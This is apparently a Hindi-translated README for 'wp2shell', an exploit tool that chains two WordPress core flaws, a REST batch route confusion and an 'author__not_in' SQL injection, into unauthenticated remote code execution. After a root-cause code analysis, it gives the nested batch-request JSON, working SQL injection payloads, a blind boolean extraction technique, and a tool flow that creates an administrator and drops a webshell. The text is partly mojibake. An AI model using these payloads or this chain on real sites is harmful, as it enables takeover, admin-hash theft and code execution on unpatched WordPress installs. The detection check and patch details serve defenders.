## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0XSHA-WP2SHELL
# CVE-2026-63030 + CVE-2026-60137 - тАЬwp2shellтАЭ: рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдХреЛрд░ рдореЗрдВ рдЕрдкреНрд░рдорд╛рдгрд┐рдд RCE
> REST API **рдмреИрдЪ рд░реВрдЯ рдХрдиреНрдлреНрдпреВрдЬрди** (CVE-2026-63030) рдХреЛ рдПрдХ **`WP_Query` `author__not_in` SQL рдЗрдВрдЬреЗрдХреНрд╢рди** (CVE-2026-60137) рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рдХрд░ тЖТ рдПрдХ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдЗрдВрд╕реНрдЯреЙрд▓ рдкрд░ **рдкреНрд░реА-рдСрде рд░рд┐рдореЛрдЯ рдХреЛрдб рдПрдХреНрдЬрд╝реАрдХреНрдпреВрд╢рди** рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред
>
> **Adam Kues** (Assetnote / Searchlight Cyber) рджреНрд╡рд╛рд░рд╛ рдЦреЛрдЬрд╛ рдЧрдпрд╛, 2026-07-17 рдХреЛ рдкреНрд░рдХрдЯред рд╕рд▓рд╛рд╣: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjfред
|
---|---
**рдЪреЗрди (рдЕрдкреНрд░рдорд╛рдгрд┐рдд RCE)**| WordPress **6.9.0 - 6.9.4** рдФрд░ **7.0.0 - 7.0.1**
**рдХреЗрд╡рд▓ SQLi** (рдПрдХ facilitating рдкреНрд▓рдЧрд┐рди/рдереАрдо рдЖрд╡рд╢реНрдпрдХ)| 6.8.0 - 6.8.5
**рдкреНрд░рднрд╛рд╡рд┐рдд рдирд╣реАрдВ**| тЙд 6.8 _рдмреИрдЪ рдХрдиреНрдлреНрдпреВрдЬрди_ рдХреЗ рд▓рд┐рдП; 6.9.5 / 7.0.2 / 7.1-beta2 (рдкреИрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛)
**рдкреВрд░реНрд╡ рд╢рд░реНрддреЗрдВ**| REST API рд╕реБрд▓рдн; **рдХреЛрдИ рд╕реНрдерд╛рдпреА рдСрдмреНрдЬреЗрдХреНрдЯ рдХреИрд╢ рдирд╣реАрдВ** (Redis/Memcached); тЙе1 рдкреНрд░рдХрд╛рд╢рд┐рдд рдкреЛрд╕реНрдЯ
**рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЖрд╡рд╢реНрдпрдХ**| рдХреЛрдИ рдирд╣реАрдВ
**рдкреНрд░рднрд╛рд╡**| рдЕрдкреНрд░рдорд╛рдгрд┐рдд тЖТ рдирдпрд╛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдмрдирд╛рдирд╛ тЖТ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди (SQLi рдкреНрд░рд╢рд╛рд╕рдХ рд╣реИрд╢ рднреА рдбрдВрдк рдХрд░рддрд╛ рд╣реИ)
## рдбреЗрдореЛ
https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6
## рдпрд╣ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХреНрдпрд╛ рдЬреЛрдбрд╝рддрд╛ рд╣реИ
* рдПрдХ рдореВрд▓, stdlib-рдХреЗрд╡рд▓ рдЯреВрд▓ (wp2shell.py) рдЬреЛ рдЫрд╣ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ PoC рдХреА рд╕рд░реНрд╡реЛрддреНрддрдо рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдПрдХреАрдХреГрдд рдХрд░рддрд╛ рд╣реИ, рдмрд┐рдирд╛ рдХрд┐рд╕реА `requests` рдирд┐рд░реНрднрд░рддрд╛ рдпрд╛ рдЯреВрдЯреА рд╣реБрдИ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЗред
* рдкреВрд░реНрдг **рдХреНрд░реИрдХ-рдореБрдХреНрдд RCE** , рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рдореЗрдВ рдПрдВрдб-рдЯреВ-рдПрдВрдб рд╕рддреНрдпрд╛рдкрд┐рдд: `shell` рдмрд┐рдирд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреЗ single-post UNION рдХрдиреНрдлреНрдпреВрдЬрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдирдХрд▓реА `WP_Post` рдмрдирд╛рддрд╛ рд╣реИ, рдХрд╕реНрдЯрдорд╛рдЗрдЬрд╝рд░ рдХреЛ рдПрдХ рдирдпрд╛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмреНрд░рд┐рдЬ рдХрд░рддрд╛ рд╣реИ (`POST /wp/v2/users`), рд▓реЙрдЧ рдЗрди рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдПрдХ рдЯреЛрдХрди-рдЧреЗрдЯреЗрдб рд╡реЗрдмрд╢реЗрд▓ рдбреНрд░реЙрдк рдХрд░рддрд╛ рд╣реИред SQLi рдкреНрд░рд╢рд╛рд╕рдХ-рд╣реИрд╢ рдбрдВрдк (`read --preset users`) рдХреЛ рджреВрд╕рд░реЗ, рд╕рддреНрдпрд╛рдкрд┐рдд рдкрде рдХреЗ рд░реВрдк рдореЗрдВ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИред
* рдПрдХ рд╕рдВрд╕реНрдХрд░рдг-рд╕реНрд╡рддрдВрддреНрд░ рдХрдиреНрдлреНрдпреВрдЬрди рдбрд┐рдЯреЗрдХреНрдЯрд░ (`block_cannot_read`) рдЬреЛ рдкреНрд░рд╛рдердорд┐рдХ, рдЧреИрд░-рд╡рд┐рдирд╛рд╢рдХрд╛рд░реА `check` рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
* рдкреНрд░рддреНрдпреЗрдХ рдХрдорд╛рдВрдб рдкрд░ рдЙрддреНрдкрд╛рджрди-рд╕реНрддрд░реАрдп рдкрд░рд┐рд╡рд╣рди: рд╕реНрд╡-рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд TLS, рдХрд╕реНрдЯрдо рд╣реЗрдбрд░, рдХрд╕реНрдЯрдо рдпреВрдЬрд╝рд░-рдПрдЬреЗрдВрдЯ, рдкреНрд░реЙрдХреНрд╕реА, рд░реАрдЯреНрд░рд╛рдИ, рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ рд╡рд┐рд▓рдВрдмред
* рдПрдХ рд╕рддреНрдпрд╛рдкрд┐рдд 6.8.x facilitated-SQLi рдкрде (`sqli`) рдЬреЛ рдЕрдиреНрдп PoC рдореЗрдВ рдирд╣реАрдВ рд╣реИред
* рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдкреНрд░рд╕реНрддреБрдд рдХрд░рдиреЗ рдпреЛрдЧреНрдп Docker рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛рдПрдБ рдФрд░ рд╕рдВрд╕реНрдХрд░рдг-рджрд░-DB рд╡рд┐рд╢реНрд╡рд╕рдиреАрдпрддрд╛ рдореИрдЯреНрд░рд┐рдХреНрд╕, рдкреНрд░рддреНрдпреЗрдХ рдкрд░рд┐рдгрд╛рдо рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рдореЗрдВ рд╕рддреНрдпрд╛рдкрд┐рддред
* рдирдП `$wp$2y$` рдкрд╛рд╕рд╡рд░реНрдб рд╣реИрд╢ рдХреЗ рд▓рд┐рдП hashcat рдореЛрдб (`-m 35500`)ред
root@kitploit:~
wp2shell/
тФЬтФАтФА README.md тЖР рдЖрдк рдпрд╣рд╛рдБ рд╣реИрдВ
тФЬтФАтФА wp2shell.py тЖР рдПрдХреАрдХреГрдд PoC (рдПрдХрд▓ рдлрд╝рд╛рдЗрд▓, рдХреЗрд╡рд▓ stdlib, 0xsha рджреНрд╡рд╛рд░рд╛)
тФФтФАтФА lab/ тЖР рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдкреНрд░рд╕реНрддреБрдд рдХрд░рдиреЗ рдпреЛрдЧреНрдп Docker рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛рдПрдБ + рд╡рд┐рд╢реНрд╡рд╕рдиреАрдпрддрд╛ рдореИрдЯреНрд░рд┐рдХреНрд╕
тФЬтФАтФА docker-compose.yml (рдбрд┐рдлрд╝реЙрд▓реНрдЯ 6.9.4 рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛)
тФЬтФАтФА docker-compose.matrix.yml (рдкреИрд░рд╛рдореАрдЯрд░рдпреБрдХреНрдд: рдХреЛрдИ рднреА рд╕рдВрд╕реНрдХрд░рдг ├Ч MySQL/MariaDB)
тФЬтФАтФА docker-compose.sqli.yml (6.8.3 "рдХреЗрд╡рд▓ SQLi" рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛)
тФЬтФАтФА matrix.sh (рдкреВрд░реНрдг рд╡рд┐рд╢реНрд╡рд╕рдиреАрдпрддрд╛ рдореИрдЯреНрд░рд┐рдХреНрд╕ рдЪрд▓рд╛рддрд╛ рд╣реИ)
тФФтФАтФА sqli-only/facilitator.php (mu-рдкреНрд▓рдЧрд┐рди: 6.8.x facilitating sink)
рдЬрд┐рди рдЫрд╣ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ PoCs рд╕реЗ рдпрд╣ рдЯреВрд▓ рд▓рд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рд╡реЗ рдпрд╣рд╛рдБ рд╡рд┐рдХреНрд░реЗрддрд╛ рдирд╣реАрдВ рд╣реИрдВ; рд╡реЗ рдХреНрд░реЗрдбрд┐рдЯ рдореЗрдВ рд▓рд┐рдВрдХ рдХрд┐рдП рдЧрдП рд╣реИрдВред
рдиреАрдЪреЗ рджреА рдЧрдИ рд╕рднреА рдмрд╛рддреЛрдВ рдХреА **рд╕реНрдерд╛рдиреАрдп Docker рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рдореЗрдВ рдкреБрд╖реНрдЯрд┐ рдХреА рдЧрдИ** (рджреЗрдЦреЗрдВ ┬з4); рдЬреЛ рджрд╛рд╡реЗ рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рдореЗрдВ _рдирд╣реАрдВ_ рдЪрд▓рд╛рдП рдЧрдП, рдЙрдиреНрд╣реЗрдВ рдРрд╕реЗ рдЪрд┐рд╣реНрдирд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
* * *
## 1\. рднреЗрджреНрдпрддрд╛ рд╡рд┐рд╡рд░рдг - рдХреЛрдб рдЧрд╣рди рд╡рд┐рд╢реНрд▓реЗрд╖рдг
рдпрд╣ рд╢реНрд░реГрдВрдЦрд▓рд╛ рджреЛ рд╕реНрд╡рддрдВрддреНрд░ рдмрдЧреЛрдВ рдХреЛ рдЬреЛрдбрд╝рддреА рд╣реИред рд▓рд╛рдЗрди рдирдВрдмрд░ **рд╡рд╛рд╕реНрддрд╡рд┐рдХ WordPress 6.9.4 рд╕реНрд░реЛрдд** ( `wordpress:6.9.4-apache` рд╕реЗ рдирд┐рдХрд╛рд▓рд╛ рдЧрдпрд╛ ) рд╕реЗ рд╣реИрдВред
### рдмрдЧ A - `author__not_in` SQL рдЗрдВрдЬреЗрдХреНрд╢рди (CVE-2026-60137)
`wp-includes/class-wp-query.php`, `WP_Query::get_posts()`:
root@kitploit:~
2403 if ( ! empty( $query_vars['author__not_in'] ) ) {
2404 if ( is_array( $query_vars['author__not_in'] ) ) { // тЖР рдЧрд╛рд░реНрдб рдХреЗрд╡рд▓ ARRAYS рдХреЗ рд▓рд┐рдП рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ
2405 $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406 sort( $query_vars['author__not_in'] );
2407 }
2408 $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // тЖР рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╕реАрдзреЗ рдЧреБрдЬрд╝рд░ рдЬрд╛рддреА рд╣реИ
2409 $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // тЖР рдХрдЪреНрдЪрд╛ рдЗрдВрдЯрд░рдкреЛрд▓реЗрд╢рди
2410 } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415 $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) ); // тЖР implode рдХреЗ рдЕрдВрджрд░ absint
рдПрдХ **рд╕реНрдЯреНрд░рд┐рдВрдЧ** `author__not_in` `is_array()` рдЧрд╛рд░реНрдб (2404) рдХреЛ рдЫреЛрдбрд╝ рджреЗрддреА рд╣реИ; `implode(',', (array)"тАж")` рдЗрд╕реЗ рдЕрдкрд░рд┐рд╡рд░реНрддрд┐рдд рд▓реМрдЯрд╛рддрд╛ рд╣реИ (2408) рдФрд░ рдЗрд╕реЗ SQL рдореЗрдВ рдХрдЪреНрдЪрд╛ рдЬреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (2409)ред рд╕рд╣реЛрджрд░ `author__in` (2415) implode рдХреЗ _рдЕрдВрджрд░_ `array_map('absint', тАж)` рдХреЛ рдкреБрдирдГ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ - рд╡рд╣ рд▓рд╛рдкрддрд╛ `array_map` рд╣реА рдмрдЧ рд╣реИред рдорд╛рди `... post_author NOT IN (<value>) ...` рдХреЗ рд░реВрдк рдореЗрдВ рдЖрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП `0) <sql>-- -` рд╕реВрдЪреА рдХреЛ рдмрдВрдж рдХрд░рддрд╛ рд╣реИ рдФрд░ SQL рдЬреЛрдбрд╝рддрд╛ рд╣реИред
рд╡рд╣рд╛рдБ рдПрдХ _рд╕реНрдЯреНрд░рд┐рдВрдЧ_ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдХрдард┐рди рд╣рд┐рд╕реНрд╕рд╛ рд╣реИ: REST рдкреЛрд╕реНрдЯ рдПрдВрдбрдкреЙрдЗрдВрдЯ `author_exclude тЖТ author__not_in` (`class-wp-rest-posts-controller.php:247`) рдореИрдк рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдЗрд╕реЗ рдкреВрд░реНрдгрд╛рдВрдХреЛрдВ рдХреЗ `'type' => 'array'` рдХреЗ рд░реВрдк рдореЗрдВ рдШреЛрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХреЛрд░ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдмрд╛рдзреНрдп/рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ:
root@kitploit:~
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
тЖТ 400 "author_exclude[0] is not of type integer." (6.8.3 рдкрд░ рд╕рддреНрдпрд╛рдкрд┐рдд)
рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ рдмрдЧ A рдЕрдХреЗрд▓рд╛ рдХреЗрд╡рд▓ _тАЬfacilitatedтАЭ_ рд╣реИред рдмрдЧ B 6.9+ рдкрд░ рд╕рддреНрдпрд╛рдкрди рдХреЗ рдкреАрдЫреЗ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рддрд╕реНрдХрд░реА рдХрд░рддрд╛ рд╣реИред
### рдмрдЧ B - REST рдмреИрдЪ рд░реВрдЯ рдХрдиреНрдлреНрдпреВрдЬрди (CVE-2026-63030)
`wp-includes/rest-api/class-wp-rest-server.php`, `serve_batch_request_v1()`:
root@kitploit:~
1720 if ( false === $parsed_url ) {
1721 $requests[] = new WP_Error( 'parse_path_failed', тАж ); // рдПрдХ рдЦрд░рд╛рдм рдкрде $requests рдореЗрдВ WP_Error рдмрди рдЬрд╛рддрд╛ рд╣реИ
1749 foreach ( $requests as $single_request ) {
1750 if ( is_wp_error( $single_request ) ) {
1752 $validation[] = $single_request; // тЖР $validation рдореЗрдВ рдзрдХреЗрд▓рд╛ рдЧрдпрд╛ тАж
1753 continue; // тЖР тАж рд▓реЗрдХрд┐рди $matches рдХреЛ SKIP рдХрд┐рдпрд╛ рдЧрдпрд╛
1754 }
1757 $matches[] = $match; // тЖР $matches рдХреЗрд╡рд▓ рдорд╛рдиреНрдп рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рдмрдврд╝рддрд╛ рд╣реИ
1825 foreach ( $requests as $i => $single_request ) { // $requests рдореЗрдВ рд╕реНрдерд┐рддрд┐ рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрдХреНрд░рдорд┐рдд
1841 $match = $matches[ $i ]; // тЖР $matches рдЫреЛрдЯрд╛ рд╣реИ тЖТ +1 рд╢рд┐рдлреНрдЯ
1861 $result = $this->respond_to_request( $single_request, $route, $handler, $error );
рдПрдХ `WP_Error` рдЙрдк-рдЕрдиреБрд░реЛрдз рдХреЛ `$validation[]` (1752) рдореЗрдВ рдзрдХреЗрд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди **`$matches[]`** рдореЗрдВ рдирд╣реАрдВ (1753 рдкрд░ `continue` 1757 рдХреЛ рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИ), рдЗрд╕рд▓рд┐рдП `$matches` рдХрдо рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ `$matches[$i]` (1841) рдЕрдЧрд▓реЗ рдЕрдиреБрд░реЛрдз рдХреЗ рд╣реИрдВрдбрд▓рд░ рдХреЛ рдзрд╛рд░рдг рдХрд░рддрд╛ рд╣реИред рдЕрдиреБрд░реЛрдз _i_ рдХреЛ рдЕрдиреБрд░реЛрдз _i+1_ рдХреЗ рд╣реИрдВрдбрд▓рд░ рдХреЗ рд╕рд╛рде рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдкреИрд░рд╛рдо рдФрд░ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ (рдкрд╛рд░рд┐рдд) рд╕рддреНрдпрд╛рдкрди рдирд┐рд░реНрдгрдп рдХреЛ рд▓реЗрдХрд░ред
**рдкреНрд░рддрд┐рдЧрдорди рдореВрд▓ (6.8.3 тЖТ 6.9.4 рдЕрдВрддрд░ рдкрд░ рд╕рддреНрдпрд╛рдкрд┐рдд):** 6.8.3 рдореЗрдВ рд▓реВрдк _рд╣рд░_ рдЕрдиреБрд░реЛрдз рдХреЗ рд▓рд┐рдП `$matches[] = $match` рдЬреЛрдбрд╝рддрд╛ рд╣реИ рдФрд░ рдЦрд░рд╛рдм рдкрде рдкрд╣рд▓реЗ рд▓реВрдк рдореЗрдВ рд╣рдЯрд╛ рджрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ - рд╕рд░рдгрд┐рдпрд╛рдБ рд╕рдВрд░реЗрдЦрд┐рдд рд░рд╣рддреА рд╣реИрдВ, **рдХреЛрдИ рдбреАрд╕рд┐рдВрдХ рдирд╣реАрдВ** ред 6.9.0 рдХреЗ рд░реАрдлрд╝реИрдХреНрдЯрд░ рдиреЗ рд╢рд┐рдлреНрдЯ рд╢реБрд░реВ рдХрд┐рдпрд╛ред рдпрд╣реА рдХрд╛рд░рдг рд╣реИ рдХрд┐ 6.8.x тАЬрдХреЗрд╡рд▓ SQLiтАЭ рд╣реИ рдФрд░ RCE рд╢реНрд░реГрдВрдЦрд▓рд╛ 6.9.0 рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреА рд╣реИред
### рджрд░реНрдЬ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдлрд┐рдХреНрд╕ (6.9.5 / 7.0.2)
рдкреИрдЪ рддреНрд░реБрдЯрд┐ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рднреА `$matches[]` рдЬреЛрдбрд╝рддрд╛ рд╣реИ, рдкреБрдирдГ-рдкреНрд░рд╡реЗрд╢ рдХреЛ рдХрдареЛрд░ рдХрд░рддрд╛ рд╣реИ, рдФрд░ `author__not_in` рдХреЛ рдПрдХ рдЖрдИрдбреА-рд╕реВрдЪреА рд╕рд╣рд╛рдпрдХ рдХреЗ рд╕рд╛рде рдкрд╛рд░реНрд╕ рдХрд░рддрд╛ рд╣реИред _(6.9.5 рдкрд░реАрдХреНрд╖рдг рдХреЗ рд╕рдордп Docker Hub рдкрд░ рдирд╣реАрдВ рдерд╛, рдЗрд╕рд▓рд┐рдП рдпрд╣ рд╕рд▓рд╛рд╣ рд╕реЗ рд╣реИ, рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рдЕрдВрддрд░ рд╕реЗ рдирд╣реАрдВред)_
* * *
## 2\. рд╢реЛрд╖рдг рд╡рд┐рдзрд┐
### 2.1 рджреЛрд╣рд░рд╛ рд░реВрдЯ рдХрдиреНрдлреНрдпреВрдЬрди
рдмреИрдЪ рд╕реНрдХреАрдорд╛ рдХреЗрд╡рд▓ `POST/PUT/PATCH/DELETE` рдЙрдк-рдЕрдиреБрд░реЛрдзреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдкреЛрд╕реНрдЯ `get_items` ( `author_exclude` sink) **GET-рдХреЗрд╡рд▓** рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХрдиреНрдлреНрдпреВрдЬрди **рджреЛ рдмрд╛рд░** рдиреЗрд╕реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:
root@kitploit:~
// рдмрд╛рд╣рд░реА рдмреИрдЪ тЖТ POST /wp-json/batch/v1
{"requests": [
{"method":"POST","path":"///"}, // [0] рдЦрд░рд╛рдм рдкрде тЖТ WP_Error тЖТ +1 рд╢рд┐рдлреНрдЯ
{"method":"POST","path":"/wp/v2/posts", // [1] рд╡рд╛рд╣рдХ: рдкреЛрд╕реНрдЯ CREATE рдХреЗ рд░реВрдк рдореЗрдВ рд╕рддреНрдпрд╛рдкрд┐рдд тЖТ
"body": { /* рдЖрдВрддрд░рд┐рдХ рдмреИрдЪ */ }}, // рдЗрд╕рдХрд╛ `requests` рдмреЙрдбреА рдХрднреА рд╕реНрдХреАрдорд╛-рдЪреЗрдХ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛
{"method":"POST","path":"/batch/v1", // [2] рд╣реИрдВрдбрд▓рд░ тЖТ [1] рдХреЛ serve_batch_request_v1 рдХреЗ рд░реВрдк рдореЗрдВ рднреЗрдЬрд╛ рдЧрдпрд╛
"body":{"requests":[]}} // (рдХреЛрдИ permission_callback рдирд╣реАрдВ тЖТ рдЕрдкреНрд░рдорд╛рдгрд┐рдд)
]}
// рдЖрдВрддрд░рд┐рдХ рдмреИрдЪ (GET рдЕрдм рдЕрдиреБрдордд):
// [0] POST /// WP_Error тЖТ рдЖрдВрддрд░рд┐рдХ +1 рд╢рд┐рдлреНрдЯ
// [1] GET /wp/v2/users?author_exclude=<PAYLOAD> users рдореЗрдВ author_exclude рдирд╣реАрдВ рд╣реИ тЖТ PAYLOAD рдмрд┐рдирд╛ рдЫреБрдП рдЧреБрдЬрд╝рд░рддрд╛ рд╣реИ
// [2] GET /wp/v2/posts [2] рдХрд╛ рд╣реИрдВрдбрд▓рд░ = рдкреЛрд╕реНрдЯ get_items тЖТ [1] рдЪрд▓рд╛рддрд╛ рд╣реИ тЖТ SQLi
`///` рдбреАрд╕рд┐рдВрдХ рдкреНрд░рд╛рдЗрдорд░ рд╣реИ (рдХреЛрдИ рднреА `wp_parse_url()`-рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкрде рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ)ред рдЯреВрд▓ рдЙрд╕реА рдЯреНрд░рд┐рдХ рдХрд╛ `--variant categories` рд╕рдВрд╕реНрдХрд░рдг рднреА рднреЗрдЬрддрд╛ рд╣реИред
### 2.2 рдмрд┐рдирд╛ SQLi рдХреЗ рдХрдиреНрдлреНрдпреВрдЬрди рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛
рдПрдХ рдПрдХрд▓, рдЧреИрд░-рд╡рд┐рдирд╛рд╢рдХрд╛рд░реА, **рд╕рдВрд╕реНрдХрд░рдг-рд╕реНрд╡рддрдВрддреНрд░** рдЬрд╛рдВрдЪ CVE-2026-63030 рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рддреА рд╣реИ, рднрд▓реЗ рд╣реА SQLi sink рдСрдмреНрдЬреЗрдХреНрдЯ-рдХреИрд╢ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ рдпрд╛ WAF-рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ: `POST` рдЙрдк-рдЕрдиреБрд░реЛрдзреЛрдВ рдХрд╛ рдПрдХ рдмреИрдЪ рдЬрд╣рд╛рдБ рдбреАрд╕рд┐рдВрдХ `POST /wp/v2/posts` рдХреЛ **рдмреНрд▓реЙрдХ-рд░реЗрдВрдбрд░рд░ рдХреЗ** рдЕрдиреБрдорддрд┐ рдХреЙрд▓рдмреИрдХ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрддрд░ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
root@kitploit:~
responses[1].code == "block_cannot_read" тЖР рдПрдХ рд╣реИрдВрдбрд▓рд░ рд╕реЗ рдЕрдиреБрдорддрд┐ рддреНрд░реБрдЯрд┐ рдЬреЛ рдЗрд╕рдиреЗ рдХрднреА рдирд╣реАрдВ рдорд╛рдБрдЧреА
`wp2shell.py check` рдЕрдкрдиреЗ рдкреНрд░рд╛рдердорд┐рдХ рд╕рдВрдХреЗрдд рдХреЗ рд░реВрдк рдореЗрдВ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ (рд╡рд╛рдкрд╕реА рдХреЗ рд░реВрдк рдореЗрдВ рдкреЛрд╕реНрдЯ-рдмрдирд╛рдо-рдЯрд░реНрдо рдЖрдХрд╛рд░)ред _(рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рддрдХрдиреАрдХ: Hadrian / Icex0.)_
### 2.3 рдЗрдВрдЬреЗрдХреНрд╢рди рд╕реЗ рдбреЗрдЯрд╛ рддрдХ (рдЕрдВрдзрд╛)
рдорд╛рди `NOT IN (<value>)` рдХреЗ рдЕрдВрджрд░ рдмреИрдарддрд╛ рд╣реИ, рдПрдХ рд╕реНрд╡рдЪреНрдЫ рдмреВрд▓рд┐рдпрди рдУрд░реЗрдХрд▓: `0) AND (<cond>)-- -` рдкрдВрдХреНрддрд┐рдпрд╛рдБ рд▓реМрдЯрд╛рддрд╛ рд╣реИ рдпрджрд┐ `<cond>` рд╕рддреНрдп рд╣реИред рдирд┐рд╖реНрдХрд░реНрд╖рдг `ASCII(SUBSTRING(COALESCE((expr),''),n,1))` рдкрд░ рдХреИрд░реЗрдХреНрдЯрд░-рджрд░-рдХреИрд░реЗрдХреНрдЯрд░ рдмрд╛рдЗрдирд░реА рдЦреЛрдЬ рд╣реИ ( `COALESCE` рдПрдХ NULL рдХреЛ рдЦрд╛рд▓реА рдкрдврд╝рдиреЗ рдореЗрдВ рд╢реЙрд░реНрдЯ-рд╕рд░реНрдХрд┐рдЯ рд╣реЛрдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИ)ред
> **рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рдиреЛрдЯ - рд╕рдордп-рдЖрдзрд╛рд░рд┐рдд рдХреЛ рджреЗрдЦрднрд╛рд▓ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред** рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдЗрдВрд╕реНрдЯреЙрд▓ рдкрд░ `0) OR SLEEP(n)-- -` _рдХреЛрдИ рд╡рд┐рд▓рдВрдм_ рдирд╣реАрдВ рджреЗрддрд╛: рдкреНрд░рдХрд╛рд╢рд┐рдд рдкрдВрдХреНрддрд┐рдпрд╛рдБ рдкрд╣рд▓реЗ рдХреНрд╡реЗрд░реА рдХреЛ рд╕рдВрддреБрд╖реНрдЯ рдХрд░рддреА рд╣реИрдВ рдФрд░ `OR` рдХреЛ рд╢реЙрд░реНрдЯ-рд╕рд░реНрдХрд┐рдЯ рдХрд░рддреА рд╣реИрдВред рдкреБрд╖реНрдЯрд┐ рдПрдХ рдирд┐рдпрддрд╛рддреНрдордХ **рдмреВрд▓рд┐рдпрди рдЕрдВрддрд░** рд╣реИ; рд╕рдордп `0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рджреЗрдЦрд╛ рдЧрдпрд╛ 0.01s рдмрдирд╛рдо 3.04sред
